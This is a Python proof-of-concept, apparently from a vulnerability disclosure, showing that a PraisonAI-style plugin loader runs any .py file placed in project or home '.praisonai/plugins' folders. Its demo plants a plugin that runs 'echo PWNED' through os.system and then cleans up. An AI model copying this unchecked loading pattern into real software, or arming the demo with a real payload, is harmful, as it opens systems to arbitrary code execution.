Vulnerable code sample

import os
import importlib.util
import shutil

def load_plugins_from_directory(plugin_dir):
    """
    Loads all .py files from a given directory as plugins.
    This function is vulnerable because it executes any code found.
    """
    if not os.path.isdir(plugin_dir):
        return

    for filename in os.listdir(plugin_dir):
        if filename.endswith(".py") and not filename.startswith("__"):
            plugin_path = os.path.join(plugin_dir, filename)
            module_name = f"praisonai.loaded_plugins.{filename[:-3]}"

            try:
                # Create a module spec from the file's location
                spec = importlib.util.spec_from_file_location(module_name, plugin_path)
                
                if spec and spec.loader:
                    # Create a new module from the spec
                    plugin_module = importlib.util.module_from_spec(spec)
                    
                    # Execute the module's code, running whatever is in the file
                    spec.loader.exec_module(plugin_module)
                    print(f"[INFO] Successfully loaded plugin: {filename}")
                else:
                    print(f"[WARN] Could not create spec for plugin: {filename}")
            except Exception as e:
                print(f"[ERROR] Failed to load plugin {filename}: {e}")

def initialize_plugin_system():
    """
    Simulates the main application entry point that initializes the plugin system.
    It scans both project-level and user-home directories.
    """
    print("[INFO] Initializing PraisonAI plugin system...")
    
    # Define plugin directories (project-level and user-home)
    project_plugins_path = os.path.join(os.getcwd(), ".praisonai", "plugins")
    user_plugins_path = os.path.join(os.path.expanduser("~"), ".praisonai", "plugins")

    # Load plugins from all defined directories
    load_plugins_from_directory(project_plugins_path)
    load_plugins_from_directory(user_plugins_path)


# --- Proof-of-Concept Simulation ---
if __name__ == "__main__":
    # 1. Simulate an attacker creating a malicious plugin file.
    #    This could happen via path traversal, a compromised dependency, etc.
    print("[ATTACK] Simulating attacker action...")
    
    # Create the vulnerable directory structure
    poc_plugin_dir = os.path.join(os.getcwd(), ".praisonai", "plugins")
    os.makedirs(poc_plugin_dir, exist_ok=True)
    
    malicious_plugin_path = os.path.join(poc_plugin_dir, "malicious_plugin.py")
    
    # The malicious code to be executed
    malicious_code = """
import os
print("\\n" + "="*50)
print("!!! VULNERABILITY TRIGGERED: RCE in malicious_plugin.py !!!")
print("!!! Executing 'echo PWNED' as a proof of concept.       !!!")
os.system("echo PWNED")
print("="*50 + "\\n")
"""
    
    with open(malicious_plugin_path, "w") as f:
        f.write(malicious_code)
    
    print(f"[ATTACK] Malicious plugin written to: {malicious_plugin_path}")
    
    # 2. Simulate the legitimate application starting up and loading plugins.
    print("\n[APP] Application is starting...")
    initialize_plugin_system()
    
    # 3. Clean up the created files and directories
    print("\n[CLEANUP] Removing simulation artifacts...")
    shutil.rmtree(os.path.join(os.getcwd(), ".praisonai"))
    print("[CLEANUP] Done.")